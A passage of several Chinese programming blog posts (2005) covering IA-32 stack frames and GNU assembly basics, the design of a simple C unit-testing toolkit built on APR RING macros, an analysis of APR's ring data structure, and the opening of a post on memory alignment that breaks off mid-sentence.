int n) {\ncallee(m, n);\n}\n翻译为汇编代码为：\n_callee:\npushl %ebp //保存调用者的栈帧地址\nmovl %esp, %ebp //初始化callee栈帧地址\nmovl $1, 8(%ebp) //获取参数x信息\nmovl $2, 12(%ebp) //获取参数y信息\npopl %ebp\nret\n… …\n… …\n_caller:\npushl %ebp //保存调用者的栈帧地址\nmovl %esp, %ebp //初始化caller栈帧地址\nsubl $8, %esp movl 12(%ebp), %eax movl %eax, 4(%esp)\nmovl 8(%ebp), %eax\nmovl %eax, (%esp)\ncall _callee\nleave\nret\n看看callee的汇编码：进入callee后首先保存其调用者caller的栈帧地址，然后读取其调用者caller栈帧中的参数信息进行计算。可以看出一个过程的栈帧中起码包括其上一个栈帧的起始地址，然后是一些参数信息，按照CS.APP说法，栈帧在存储参数信息之前还有可能保存一些本地变量或临时变量等。在每个过程的栈帧的结尾处都记录着过程返回地址，这个返回地址是由call执行时自动加入的。callee都是通过%ebp +/- 偏移量来获取参数信息的。用下面的图可以小结一下栈帧的模样(起始：%ebp所指的字节–\u0026gt; 终止：返回地址所在字节)：\n+ +\n| |\n+———-+\n| old %ebp | \u0026lt;— %ebp\n+———-+\n| 本地变量 |\n+———-+\n| 参数n |\n+———-+\n| 参数…|\n+———-+\n| 参数1 |\n+———-+\n| 返回地址 |\n+———-+\n| … |\n| |\u0026lt;– %esp\n[注1]\n这里采用了CSAPP中的表示方法，Eb表示基址寄存器，Ei表示变址寄存器，s为伸缩因子。我们使用R来表示引用某个寄存器的值，使用M来表示引用某内存地址。\n","permalink":"https://tonybai.com/2005/11/13/assembly-series-stack-oper-and-frame/","summary":"\u003cp\u003e结构化程序的一个最基本的单元就是“函数”或者叫“过程”。在\u003ca href=\"http://en.wikipedia.org/wiki/Assembly_language\"\u003e汇编\u003c/a\u003e这一层自然也相应的有支持这些概念的指令操作，如栈操作和栈帧的概念。\u003c/p\u003e\n\u003cp\u003e首先这里要为“打开汇编之门”那篇blog补充一点的是：汇编语言是与机器相关，这里的一切都是基于IA-32机器平台的。\u003c/p\u003e","title":"汇编之路-栈操作与栈帧"},{"content":"工作这么长时间，一直在C语言这一层面上钻研和打拼，日积月累，很多关于C的疑惑在书本和资料中都难以找到答案。程序员是追求完美的一个种群，其头脑中哪怕是存在一点点的思维黑洞都会让其坐卧不宁。不久前在itput论坛上偶得《Computer Systems A Programmer\u0026rsquo;s Perspective》（以下称CSAPP）这本经典好书，遂连夜拜读以求解惑。虽说书中没有能正面的回答我的一些疑惑，但是它却为我指明了一条通向“无惑”之路 — 这就是打开汇编之门。\n汇编语言是一门非常接近机器语言的语言，其语句与机器指令之间的对应关系更加简单和清晰。打开汇编之门不仅仅能解除高级语言给你带来的疑惑，它更能让你更加的理解现代计算机的运行体系，还有一点更加重要的是它给你带来的是一种自信的感觉，减少了你在高处摇摇欲坠的恐惧，响应了侯捷老师的“勿在浮沙筑高台”的号召。现在学习汇编的目的已与以前大大不同了。正如CS.APP中所说那样“程序员学习汇编的需求随着时间的推移也发生了变化，开始时是要求程序员能直接用汇编编写程序，现在则是要求能够阅读和理解优化编译器产生的代码”。能阅读和理解，这也恰恰是我的需求和目标。\n在大学时接触过汇编，主要是Microsoft MASM宏汇编，不过那时的认识高度不够加上态度不端正，错失了一个很好的学习机会。现在绝大部分时间是使用GCC在Unix系列平台上工作，选择汇编语言当然是GNU汇编了，恰好CS.APP中使用的也是GNU的汇编语法。由于学习汇编的主要目的还是“解惑”，所以形式上多是以C代码和汇编代码的比较。\n1、汇编让你看到更多\n随着你使用的语言的层次的提高，你眼中的计算机将会越来越模糊，你的关注点也越来越远离语言本身而靠近另一端“问题域”，比如通过JAVA，你更多看到的是其虚拟机，而看不到真实的计算机；通过C，你看到的也仅仅是内存一层；到了汇编语言，你就可以深入到寄存器一层自由发挥了。汇编程序员眼里的“独特风景”包括：\na) “程序计数器(%eip)” — 一个特殊寄存器，其中永远存储下一条将要执行的指令的地址；\nb) 整数寄存器 — 共8个，分别是%eax、%ebx、%ecx、%edx、%esi、%ebi、%esp和%ebp，它们可以存整数数据，可以存地址，也可以记录程序状态等。早期每个寄存器都有其特殊的用途，现在由于像linux这样的平台多采用“平面寻址[1]”，寄存器的特殊性已经不那么明显了。\nc) 条件标志寄存器 — 保存最近执行的算术指令的状态信息，用来实现控制流中的条件变化。\nd) 浮点数寄存器 — 顾名思义，用来存放浮点数。\n虽说寄存器的特殊性程度已经弱化，但是实际上每个编译器在使用这些寄存器时还是遵循一定的规则的，以后再说。\n2、初窥汇编\n下面是一个简单的C函数：\nvoid dummy() {\nint a = 1234;\nint b = a;\n}\n我们使用gcc加-S选项将之转换成汇编代码如下(省略部分内容)：\nmovl $1234, -4(%ebp)\nmovl -4(%ebp), %eax\nmovl %eax, -8(%ebp)\n看了一眼又一眼，还是看不懂，只是发现些熟悉的内容，因为上面提过如%ebp、%eax等。这只是个引子，让我们感性的认识一下汇编的“容貌”。我们一点点地来看。咋看一眼汇编代码长得似乎很相似，没错，汇编代码就是一条一条的“指令+操作数”的语句的集合。汇编指令是固定的，每条指令都有其固定的用途，而操作数表示则有多种类型。\n1) 操作数表示\n大部分汇编指令都有一个或多个操作数，包括指令操作中的源和目的。一条标准的指令格式大致是这样的：“指令 + 源操作数 + 目的操作数”，其中源操作数可以是立即数、从寄存器中读出的数或从内存中读出的数；而目的操作数则可以是寄存器或内存。按这么一分类，操作数就大致有三种：\na) 立即数表示法 — 如“movl $1234, -4(%ebp)”中的“$1234”，就是一个立即数作为操作数，按照GNU汇编语法，立即数表示为“$+整数”。立即数常用来表示代码中的一些常数，如上例中的“$1234”。注意一点的是立即数不能作为目的操作数。\nb) 寄存器表示法 — 这种比较简单，它就是表示寄存器之内容。如上面的“movl -4(%ebp), %eax”中的%eax就是使用寄存器表示法作源操作数，而“movl %eax, -8(%ebp)”中的%eax则是使用寄存器表示法作目的操作数。\nc) 内存引用表示法 — 计算出的该操作数的值表示的是相应的内存地址。汇编指令根据这个内存地址访问相应的内存位置。如上例“movl -4(%ebp), %eax”中的“-4(%ebp)”,其表示的内存地址为(%ebp寄存器中的内容-4)得到的值。\n2) 数据传送指令\n汇编语言中最最常用的指令 — 数据传送指令，也是我们接触的第一种类别的汇编指令。其指令的格式为：“mov 源操作数, 目的操作数”。\nmov系列支持从最小一个字节到最大双字的访问与传送。其中movb用来传送一字节信息，movw用来传送二字节，即一个字的信息，movl用来传送双字信息。这些不详说了。除此以外mov系列还提供两个带位扩展的指令movsbl和movzbl，我们举个例子来说明一下这两个特殊指令的作用何在：\na) movzbl指令\nvoid dummy1() {\nunsigned char c = \u0026lsquo;a\u0026rsquo;;\nunsigned int a = c;\n}\n其对应的GNU汇编为(省略部分内容)：\nmovb $97, -1(%ebp) //\u0026lsquo;a\u0026rsquo;的ASCII码为97\nmovzbl -1(%ebp), %eax\nmovl %eax, -8(%ebp)\n说明：在dummy1函数中“unsigned int a = c”语句完成的是一个从unsigned char到unsigned int的赋值操作，由于int的类型长度大于char类型长度，所以实际是将一个字节的内容拷贝到一个可以容纳4个字节的地方，这样的话需要对源数据进行一下扩展，即填充高位的3个字节。\n如何填充呢？由于变量a和c都为无符号整型，所以只需要填充0即可。而movzbl就是干这个活的。movzbl指令负责拷贝一个字节，并用0填充其目的操作数中的其余各位，这种扩展方式叫“零扩展”。\nb) movsbl指令\nvoid dummy2() {\nsigned char c = \u0026lsquo;a\u0026rsquo;;\nunsigned int a = c;\n}\n其对应的GNU汇编为(省略部分内容)：\nmovb $97, -1(%ebp) //\u0026lsquo;a\u0026rsquo;的ASCII码为97\nmovsbl -1(%ebp), %eax\nmovl %eax, -8(%ebp)\n说明：在dummy2函数中“unsigned int a = c”语句完成的是一个从signed char到unsigned int的赋值操作，由于int的类型长度大于char类型长度，所以实际是将一个字节的内容拷贝到一个可以容纳4个字节的地方，这样的话需要对源数据进行一下扩展，即填充高位的3个字节。如何填充呢？GNU汇编告诉我们它使用了变量c的最高位来填充其余的3个字节。movsbl指令负责拷贝一个字节，并用源操作数的最高位填充其目的操作数中的其余各位，这种扩展方式叫“符号扩展”。实际上dummy2中变量a还是保留了变量c的符号位的，起码GCC是这么做的。\nc) 在CS.APP中pushl和popl也别归入“数据传送指令”类别，但对于刚入门选手这两个指令还是稍显复杂，在以后谈到“procedure”时再细说。\n3、小结\n已经迈出了踏入汇编之门的第一步，汇编的确让我眼前敞亮了许多，看得多了，知道得多了，疑惑也就少了。\n4、参考资料\n1) 《Computer Systems A Programmer\u0026rsquo;s Perspective》\n[注1]\n平面寻址：简单的将存储器看成一个大的、按照字节寻址的数组。不区分类型、符号、地址还是整数。注意汇编程序员看到也是进程空间的虚拟地址。\n","permalink":"https://tonybai.com/2005/11/12/open-the-gate-to-assembly-language/","summary":"\u003cp\u003e工作这么长时间，一直在\u003ca href=\"http://en.wikipedia.org/wiki/C_programming_language\"\u003eC\u003c/a\u003e语言这一层面上钻研和打拼，日积月累，很多关于C的疑惑在书本和资料中都难以找到答案。程序员是追求完美的一个种群，其头脑中哪怕是存在一点点的思维黑洞都会让其坐卧不宁。不久前在itput论坛上偶得《\u003ca href=\"http://www.douban.com/subject/1230413/\"\u003eComputer Systems A Programmer\u0026rsquo;s Perspective\u003c/a\u003e》（以下称CSAPP）这本经典好书，遂连夜拜读以求解惑。虽说书中没有能正面的回答我的一些疑惑，但是它却为我指明了一条通向“无惑”之路 — 这就是打开汇编之门。\u003c/p\u003e","title":"打开汇编之门"},{"content":"在Java、C++和C#等高级语言的单元测试正进行的如火如荼的时候，C好像做了看客，冷清的躲在了一个不起眼的角落里。C并不是没有单元测试工具，像Check和CUnit这样的工具也很有名气，只是和大名鼎鼎的JUnit比起来，还是显得有些英雄气短。很多大型的C项目，如APR等都没有使用像Check、CUnit这样通用的单元测试框架，而是另起炉灶自己编写。其实编写一个仅能满足单个项目需要的C单元测试工具包并非难事。在部分参考APR的ABTS的前提下，我们也来设计一套自己的简单的C语言单元测试包。\n鉴于减少复杂性，我们的目标仅仅是设计和实现一套能在单进程、单线程下工作良好的C单元测试包，我们暂且将之命名为CUT – C Unit test Toolkit。\n1、CUT涉及的术语解释\n曾经接触过多个有名的单元测试框架如JUnit、CppUnit、TestNG等，它们在对单元测试某些概念的理解上并不是全都一样的。这里我们也有我们自己的定义。\na) 一个逻辑unit test包含至少一个或者多个suite;\nb) 一个suite包含至少0或者多个test case;\nc) 每个test case中至少包含1个或者多个“断言类”语句。\n2、CUT预告片\n其实每设计一个程序之前自己都会考虑该提供给用户怎样的东东呢？下面是应该是CUT的经典用法：\ncut_ts_t *suite = NULL;\nCUT_TEST_BEGIN(\u0026ldquo;classic usage of CUT\u0026rdquo;);\nCUT_TS_INIT(suite); CUT_TC_ADD(suite, \u0026ldquo;test case: tc_add\u0026rdquo;, tc_add);\nCUT_TC_ADD(suite, \u0026ldquo;test case: tc_sub\u0026rdquo;, tc_sub);\nCUT_TS_ADD(suite, my_setup, my_teardown);\nCUT_TEST_RUN();\nCUT_TEST_REPORT();\nCUT_TEST_END();\n3、CUT的组织结构\n从上面的经典用法中也可以看出我们的CUT的组织是这样的：\nTest\n|\n|\n+————-+\nTS-1 … TS-N\n| |\n| |\n+——-+ … +——–+\nTC-1 TC-N TC-1 TC-N\n其中：TS – Test Suite，TC – Test Case\n4、CUT接口设计与实现\n在“预告片”中我们已经暴露了大部分CUT的重要接口，在下面我们将伴随着实现逐一说明。另外在CUT的实现中我们使用了APR RING技术,不了解APR RING的可以参见我的上一篇Blog“APR分析-环篇”。\n1) 主要数据结构\ntypedef void (*tc_func)(cut_tc_t *tc); /* Test Case标准原型函数指针，所有的Test Case都应该符合这个原型 */\ntypedef void (*fixture_func)(); /* 用于suite环境建立和拆除的func原型 */\n/* Test Case数据结构 */\ntypedef struct cut_tc_t {\nAPR_RING_ENTRY(cut_tc_t) link;\nchar name[CUT_MAX_STR_LEN+1];\ntc_func func;\nint failed;\n} cut_tc_t;\ntypedef APR_RING_HEAD(cut_tc_head_t, cut_tc_t) cut_tc_head_t;\n/* Test Suite数据结构 */\ntypedef struct cut_ts_t {\nAPR_RING_ENTRY(cut_ts_t) link;\ncut_tc_head_t tc_head;\nint failed; /* 失败用例总数 */\nint ran; /* 运行用例总数 */\nfixture_func sf; /* setup func */\nfixture_func tf; /* teardown func */\n} cut_ts_t;\ntypedef APR_RING_HEAD(cut_ts_head_t, cut_ts_t) cut_ts_head_t;\n/* 逻辑单元测试数据结构 */\ntypedef struct cut_test_t {\nchar name[CUT_MAX_STR_LEN+1];\ncut_ts_head_t ts_head;\n} cut_test_t;\n2) CUT_TEST_BEGIN和CUT_TEST_END\n这两者分别是一个逻辑Test的开始与结束。我们在CUT_TEST_BEGIN建立好我们的内部数据结构，其唯一宏参数用来加强可读性，在CUT_TEST_END中释放在测试过程中获取的系统资源。其实现如下：\n#define CUT_TEST_BEGIN(desc) \\\ncut_test_t *_cut_test = NULL; \\\n_cut_test = malloc(sizeof(cut_test_t)); \\\nif (_cut_test == NULL) { \\\nreturn errno; \\\n} \\\nmemset(_cut_test, 0, sizeof(cut_test_t)); \\\nAPR_RING_INIT(\u0026amp;(_cut_test-\u0026gt;ts_head), cut_ts_t, link); \\\nstrncpy(_cut_test-\u0026gt;name, desc, CUT_MAX_STR_LEN)\n#define CUT_TEST_END() do { \\\n/* 这里遍历Ring，释放其他相关内存,这里限于篇幅未写出 */\nif (_cut_test != NULL) { \\\nfree(_cut_test); \\\n} \\\n} while(0)\n3) CUT_TS_ADD和CUT_TC_ADD\n前者负责向一逻辑单元测试中添加Test Suite，后者则负责向一个Test Suite中添加测试用例。在CUT中，每个Test Suite依赖两个Fixture Function- setup和teardown。setup用于建立测试环境，比如打开某文件，获得文件句柄供该Test Suite中的若干Test Case使用；而teardown则用来做后处理，释放setup以及在众多Test Case执行时分配的资源，比如上面关闭提到的文件句柄。\n在实现CUT的Test Suite时，实际上加了一个对用户使用的限制，那就是CUT负责管理Test Suite的内存分配，说限制也好我觉得倒是给用户提供了一种方便。这两个宏的实现如下：\n#define CUT_TEST_SUITE_INIT(suite) do { \\\nif (suite == NULL) { \\\nsuite = malloc(sizeof(cut_ts_t)); \\\nif (suite == NULL) { \\\nreturn errno; \\\n} \\\n} \\\nmemset(suite, 0, sizeof(cut_ts_t)); \\\nAPR_RING_INIT(\u0026amp;(suite-\u0026gt;tc_head), cut_tc_t, link); \\\nsuite-\u0026gt;ran = 0; \\\nsuite-\u0026gt;failed = 0; \\\n} while(0)\n#define CUT_TS_ADD(suite, f1, f2) do { \\\nAPR_RING_ELEM_INIT(suite, link); \\\nsuite-\u0026gt;sf = f1; \\\nsuite-\u0026gt;tf = f2; \\\nAPR_RING_INSERT_TAIL(\u0026amp;(_cut_test-\u0026gt;ts_head), suite, cut_ts_t, link); \\ } while(0)\n#define CUT_TC_ADD(suite, desc, f1) do { \\\ncut_tc_t *tc = NULL; \\\ntc = malloc(sizeof(cut_tc_t)); \\\nif (tc == NULL) { \\\nreturn errno; \\\n} \\\nmemset(tc, 0, sizeof(cut_tc_t)); \\\nstrncpy(tc-\u0026gt;name, desc, CUT_MAX_STR_LEN); \\\ntc-\u0026gt;func = f1; \\\nAPR_RING_ELEM_INIT(tc, link); \\\nAPR_RING_INSERT_TAIL(\u0026amp;(suite-\u0026gt;tc_head), tc, cut_tc_t, link); \\\n} while(0)\n4) CUT_TEST_RUN和CUT_TEST_REPORT\n这两个宏的作用分别是运行所有逻辑单元测试中的测试用例和报告测试情况，在这里CUT_TEST_REPORT输出形式较为简单，只是打印出此次单元测试运行用例总数和失败的用例数。当然要丰富其输出形式，让用户更快更早定位哪个测试用例失败也并不难，只需对CUT的实现稍作修改即可，这里仅是抛砖引玉。具体可参见成熟的工具的输出形式，如CUnit等。\n#define CUT_TEST_RUN() do { \\\ncut_ts_t *ts = NULL; \\\ncut_tc_t *tc = NULL; \\\nAPR_RING_TRAVERSE(ts, \u0026amp;(_cut_test-\u0026gt;ts_head), cut_ts_t, link) { \\\nif (ts != NULL) { \\\nif (ts-\u0026gt;sf != NULL) { \\\nts-\u0026gt;sf(); \\ /* execute setup func */\n} \\\nAPR_RING_TRAVERSE(tc, \u0026amp;(ts-\u0026gt;tc_head), cut_tc_t, link) { \\\nif (tc != NULL) { \\\nAPR_RING_TRAVERSE(tc, \u0026amp;(ts-\u0026gt;tc_head), cut_tc_t, link) { \\\nif (tc != NULL) { \\\ntc-\u0026gt;func(tc); \\\n} \\\n} \\\nif (ts-\u0026gt;tf != NULL) { \\\nts-\u0026gt;tf(); \\ /* execute teardown func */\n} \\\n} \\\n} \\\n} while(0)\n#define CUT_TEST_REPORT() do { \\\nint ran = 0; \\\nint failed = 0; \\\ncut_ts_t *ts = NULL; \\\ncut_tc_t *tc = NULL; \\\nAPR_RING_TRAVERSE(ts, \u0026amp;(_cut_test-\u0026gt;ts_head), cut_ts_t, link) { \\\nif (ts != NULL) { \\\nAPR_RING_TRAVERSE(tc, \u0026amp;(ts-\u0026gt;tc_head), cut_tc_t, link) { \\\nif (tc != NULL) { \\\nran++; \\\nfailed += tc-\u0026gt;failed; \\\n} \\\n} \\\n} \\\n} \\\nprintf(\u0026ldquo;total tc is %d, and failed tc is %d\\n\u0026rdquo;, ran, failed); \\\n} while(0)\n5) 断言集合\n评价一个单元测试工具好坏的重要标准之一就是它的断言集的多寡和易用性。大部分单元测试工具都提供几十个各种各样的断言接口，我这里仅仅是举一个断言接口例子：\n我们提供一个整型数判等断言接口：\nvoid cut_int_equal(cut_case_t *tc, const int expected, const int actual, int lineno)\n{\nif (expected != actual) {\ntc-\u0026gt;failed += 1;\n/* 其他处理，如记录断言发生位置信息等 */\n}\n}\n这样我们就可以在我们的测试用例中这样使用了：\nvoid tc_add(cut_case_t *tc) {\nint a = 1;\nint b = 2;\ncut_int_equal(tc, 3, add(a, b), __LINE__);\n}\n5、一个简单但完整的测试实例\nCUT以头文件和静态库的形式发布，使用CUT只需要引用其头文件，并在链接时链接CUT的静态库即可。\n在下面的例子中我们执行了两个测试用例：\n#include \u0026ldquo;cut.h\u0026rdquo;\n#include \u0026ldquo;my_math.h\u0026rdquo; //for add and sub interface\nvoid my_setup() {\nprintf(\u0026ldquo;setup for suite\\n\u0026rdquo;);\n}\nvoid my_teardown() {\nprintf(\u0026ldquo;teardown for suite\\n\u0026rdquo;);\n}\nvoid tc_add(cut_case_t *tc) {\nint a = 1;\nint b = 2;\ncut_int_equal(tc, 3, add(a, b), __LINE__);\n}\nvoid tc_sub(cut_case_t *tc) {\nint a = 3;\nint b = 1;\ncut_int_equal(tc, 1, sub(a, b), __LINE__); // 会导致断言错误\n}\nint main() {\ncut_suite_t *suite = NULL;\nCUT_TEST_BEGIN(\u0026ldquo;test with cut\u0026rdquo;);\nCUT_TEST_SUITE_INIT(suite);\nCUT_TC_ADD(suite, \u0026ldquo;test tpl_addition:\u0026rdquo;, tc_add);\nCUT_TC_ADD(suite, \u0026ldquo;test tpl_subtraction:\u0026rdquo;, tc_sub);\nCUT_TS_ADD(suite, my_setup, my_teardown);\nCUT_TEST_RUN();\nCUT_TEST_REPORT();\nCUT_TEST_END();\nreturn 0;\n}\n测试结果：\ntotal tc is 2, and failed tc is 1\n6、小结\n这里仅仅是提出一种实现C Unit Testing Framework的方案，而且仅仅是证明其可行，其离成熟的程度还远得很。我们可以从已经成熟的单元测试工具那里借鉴很多东西过来，如Test Group概念、XML配置等。改进是永无止境的，任重道远啊:)。\n","permalink":"https://tonybai.com/2005/11/08/the-design-and-implementation-of-c-unittest-framework/","summary":"\u003cp\u003e在Java、C++和C#等高级语言的单元测试正进行的如火如荼的时候，\u003ca href=\"http://en.wikipedia.org/wiki/C_programming_language\"\u003eC\u003c/a\u003e好像做了看客，冷清的躲在了一个不起眼的角落里。C并不是没有\u003ca href=\"http://en.wikipedia.org/wiki/Unit_testing\"\u003e单元测试\u003c/a\u003e工具，像Check和CUnit这样的工具也很有名气，只是和大名鼎鼎的JUnit比起来，还是显得有些英雄气短。很多大型的C项目，如APR等都没有使用像Check、CUnit这样通用的单元测试框架，而是另起炉灶自己编写。其实编写一个仅能满足单个项目需要的C单元测试工具包并非难事。在部分参考APR的ABTS的前提下，我们也来设计一套自己的简单的C语言单元测试包。\u003c/p\u003e\n\u003cp\u003e鉴于减少复杂性，我们的目标仅仅是设计和实现一套能在单进程、单线程下工作良好的C单元测试包，我们暂且将之命名为CUT – C Unit test Toolkit。\u003cbr\u003e\n1、CUT涉及的术语解释\u003cbr\u003e\n曾经接触过多个有名的单元测试框架如JUnit、CppUnit、TestNG等，它们在对单元测试某些概念的理解上并不是全都一样的。这里我们也有我们自己的定义。\u003cbr\u003e\na) 一个逻辑unit test包含至少一个或者多个suite;\u003cbr\u003e\nb) 一个suite包含至少0或者多个test case;\u003cbr\u003e\nc) 每个test case中至少包含1个或者多个“断言类”语句。\u003c/p\u003e","title":"C单元测试包设计与实现"},{"content":"APR中少见对数据结构的封装，好像唯一例外的就是其对循环链表，即环(RING)的封装。\n在大学的时候学的不是计算机专业，但大三的时候我所学的专业曾开过一门好像叫“计算机软件开发基础”的课，使用的是清华的一本教材，课程的内容包括数据结构。说实话听过几节课，那个老师讲的还不错，只是由于课程目标所限，没讲那么深罢了。当然我接触数据结构要早于这门课的开课时间。早在大一下学期就开始到计算机专业旁听“数据结构”，再说一次实话，虽号称名校名专业，但是那个老师的讲课水平却不敢恭维。\n言归正传! 简单说说环(RING)：环是一个首尾相连的双向链表，也就是我们所说的循环链表。对应清华的那本经典的《数据结构》一书中线性表一章的内容，按照书中分类其属于线性表中的链式存储的一种。环是很常见也很实用的数据结构，相信在这个世界上环的实现不止成千上万，但是APR RING(按照APR RING源代码中的注释所说，APR RING的实现源自4.4BSD)却是其中较独特的一个，其最大的特点是其所有对RING的操作都由一组宏(大约30个左右)来实现。在这里不能逐个分析，仅说说一些让人印象深刻的方面吧。\n1、如何使用APR RING？\n我们先来点感性认识! 下面是一个典型的使用APR RING的样例：\n假设环节点的结构如下：\nstruct elem_t { /* APR RING链接的元素类型定义 */\nAPR_RING_ENTRY(elem_t) link; /* 链接域 */\nint foo; /* 数据域 */\n};\nAPR_RING_HEAD(elem_head_t, elem_t);\nint main() {\nstruct elem_head_t head;\nstruct elem_t *el;\nAPR_RING_INIT(\u0026amp;head, elem_t, link);\n/* 使用其他操作宏插入、删除等操作，例如 */\nel = malloc(sizeof(elem_t);\nel-\u0026gt;foo = 20051103;\nAPR_RING_ELEM_INIT(el, link);\nAPR_RING_INSERT_TAIL(\u0026amp;h, el, elem_t, link);\n}\n2、APR RING的难点–“哨兵”\n环是通过头节点来管理的，头节点是这样一种节点，其next指针指向RING的第一个节点，其prev指针指向RING的最后一个节点，即尾节点。但是通过察看源码发现APR RING通过APR_RING_HEAD宏定义的头节点形式如下：\n#define APR_RING_HEAD(head, elem) \\\nstruct head { \\\nstruct elem *next; \\\nstruct elem *prev; \\\n}\n如果按照上面的例子进行宏展开，其形式如下：\nstruct elem_head_t {\nstruct elem_t *next;\nstruct elem_t *prev;\n};\n而一个普通的元素elem_t展开形式如下：\nstruct elem_t {\nstruct { \\\nstruct elem_t *next; \\\nstruct elem_t *prev; \\\n} link;\nint foo;\n};\n通过对比可以看得出头节点仅仅相当于一个elem_t的link域。这样做的话必然带来对普通节点和头节点在处理上的不一致，为了避免这种情况的发生，APR RING引入了“哨兵(sentinel)”节点的概念。我们先看看哨兵节点在整个链表中的位置。\nsentinel-\u0026gt;next = 链表的第一个节点；\nsentinel-\u0026gt;prev = 链表的最后一个节点；\n但是察看APR RING的源码你会发现sentinel节点只是个虚拟存在的节点，这个虚拟节点既有数据域(虚拟出来的，不能引用)又有链接域，好似与普通节点并无差别。在APR RING的源文件中使用了下面这幅图来说明sentinel的位置，同时也指出了sentinel和head的关系 — head即为sentinel虚拟节点的link域。\n普通节点\n+-\u0026gt;+——-+\u0026lt;–\n|struct |\n|elem |\n+——-+\n|prev |\n| next|\n+——-+\n| etc. |\n. .\n. .\nsentinel节点\n+-\u0026gt;+——–+\u0026lt;–\n|sentinel|\n|elem |\n+——–+\n|ring |\n| head |\n+——–+\n再看看下面APR_RING_INIT的源代码：\n#define APR_RING_INIT(hp, elem, link) do { \\\nAPR_RING_FIRST((hp)) = APR_RING_SENTINEL((hp), elem, link); \\\nAPR_RING_LAST((hp)) = APR_RING_SENTINEL((hp), elem, link); \\\n} while (0)\n你会发现：初始化RING实际上是将head的next和prev指针都指向了sentinel虚拟节点了。从sentinel的角度来说相当于其自己的link域的next和prev都指向了自己。所以判断APR RING是否为空只需要判断RING的首个节点是否为sentinel虚拟节点即可。APR_RING_EMPTY宏就是这么做的：\n#define APR_RING_EMPTY(hp, elem, link) \\\n(APR_RING_FIRST((hp)) == APR_RING_SENTINEL((hp), elem, link))\n那么如何计算sentinel虚拟节点的地址呢？\n我们这样思考：从普通节点说起，如果我们知道一个普通节点的首地址(elem_addr)，那么我们计算其link域的地址(link_addr)的公式就应该为link_addr = elem_addr + offsetof(elem_t, link)；前面我们一直在说sentinel虚拟节点看起来和普通节点没什么区别，所以它仍然符合该计算公式。前面我们又说过head_addr是sentinel节点的link域，这样的话我们将head_addr输入到公式中得到head_addr = sentinel_addr + offsetof(elem_t, link)，做一下变换即可得到sentinel_addr = head_addr – offsetof(elem_t, link)。看看APR RING源代码就是这样实现的：\n#define APR_RING_SENTINEL(hp, elem, link) \\\n(struct elem *)((char *)(hp) – APR_OFFSETOF(struct elem, link))\n至此APR RING使用一个虚拟sentinel节点分隔RING的首尾节点，已达到对节点操作一致的目的。\n3、使用时注意事项\n这里在使用APR RING时有几点限制：\na) 在定义RING的元素结构时，需要把APR_RING_ENTRY放在结构的第一个字段的位置。\nb) 链接一种类型的元素就要使用APR_RING_HEAD宏定义该种类型RING的头节点类型。学过C++或者了解泛型的人可能都会体味到这里的设计有那么一点范型的味道。比如：\n模板：APR_RING_HEAD(T_HEAD, T) —- 链接—-\u0026gt; T类型元素\n实例化：APR_RING_HEAD(elem_head_t, elem_t) — 链接—-\u0026gt;elem_t类型元素\n4、APR RING不足之处\n1) 缺少遍历接口\n浏览APR RING源码后发现缺少一个遍历宏接口，这里提供一种正向遍历实现：\n#define APR_RING_TRAVERSE(ep, hp, elem, link) \\\nfor ((ep) = APR_RING_FIRST((hp)); \\\n(ep) != APR_RING_SENTINEL((hp), elem, link); \\\n(ep) = APR_RING_NEXT((ep), link))\n大家还可以模仿写出反向遍历的接口APR_RING_REVERSE_TRAVERSE。\n","permalink":"https://tonybai.com/2005/11/03/apr-ring/","summary":"\u003cp\u003e\u003ca href=\"http://apr.apache.org\"\u003eAPR\u003c/a\u003e中少见对数据结构的封装，好像唯一例外的就是其对循环链表，即环(RING)的封装。\u003c/p\u003e\n\u003cp\u003e在大学的时候学的不是计算机专业，但大三的时候我所学的专业曾开过一门好像叫“计算机软件开发基础”的课，使用的是清华的一本教材，课程的内容包括数据结构。说实话听过几节课，那个老师讲的还不错，只是由于课程目标所限，没讲那么深罢了。当然我接触数据结构要早于这门课的开课时间。早在大一下学期就开始到计算机专业旁听“数据结构”，再说一次实话，虽号称名校名专业，但是那个老师的讲课水平却不敢恭维。\u003c/p\u003e","title":"APR源代码分析-环篇"},{"content":"离我的上一篇BLOG已经时隔一个月有余，项目忙是一方面原因，最主要的还是自己没什么“收获”。在最近的项目中总是和内存打交道，时间长了，便有了些许问题，原本我就不是不求甚解者，遂趁此机会又复习了些内存相关资料。\n其实下面的话题都是源于在实际项目中碰到的问题，我们通过推敲一句话来开始吧!\n1、推敲一句话\n在《C专家编程》一书中，有这样的说法“Malloced memory is always aligned appropriately for the largest size of atomic access on a machine”,中文版中翻译为“被分配的内存总是经过对齐，以适合机器上最大尺寸的原子访问”。这句话我也不只看过一遍，不过仅在这次我对它作了认真的推敲，其实整篇也都是围绕着这句话写的。\na) 对齐：数据项仅能存储在地址是该数据项整数倍的内存位置上。在不同的平台上对内存对齐的要求不同，比如在Windows平台上数据项也可以存储在非对齐的内存地址上。但在Sun SPARC平台上如果数据地址没对齐，对它的访问就会带来严重后果(CORE DUMP)。稍后继续详说。\nb) 最大尺寸：在32为平台上一般为8字节，在64位平台上为16字节。\nc) 原子访问：原子，顾名思义，不可拆分的(严格意义上，在科学界原子并不是最小的粒子，是可拆分的，但在我们这里它就是不可拆分的)。原子访问就是不能被中断的访问。\n2、虚拟内存与Cache\n太古老的就不说了，我们从“虚拟内存”和Cache说起，为什么莫名其妙的谈到“虚拟内存”和Cache了呢？其实真正需要内存地址对齐的就是这“两位”。虚拟内存技术和Cache的出现追其原因都是因为人们的“物质财富”拮据 — 内存条太贵。虚拟内存允许你拿硬盘做内存，这样一来就满足了应用程序对内存地址空间的旺盛需求问题，但随之而来的是大量的磁盘操作，使数据的访问速度下降了。人们遂在CPU内加了Cache。\n虚拟内存管理以“页”作为基本传输和保护单位在“物理内存”和“硬磁盘”之间倒腾数据。每页大小是固定的，一般为4KB一页。一旦确定了页的大小那么就相当于给了各原子数据项一个不成文的建议：“你们最好不要跨页存储”。什么是“跨页存储”？举个跨页存储例子如下：有这么一个原子类型为int的变量n = 1，其在进程地址空间的存储方式如下：(按照big-endian，高位存在低地址上) + .. + 0×0000 (0000)\u0026lt;——–第一页\n| |\n| .. |\n+——-+\n| |\n+——-+ 0x0ffd\n| 0 |\n+——-+ 0x0ffe\n| 0 |\n+——-+ 0x0fff (4095)\n| 0 |\n+——-+ 0×1000 (4096)\u0026lt;——– 第二页\n| 1 |\n+——-+ 0×1001 (4097)\n| |\n| .. |\n上图中变量n的存储空间横跨两个内存“页”。那么为什么最好不要跨页存储呢？如上例一旦int 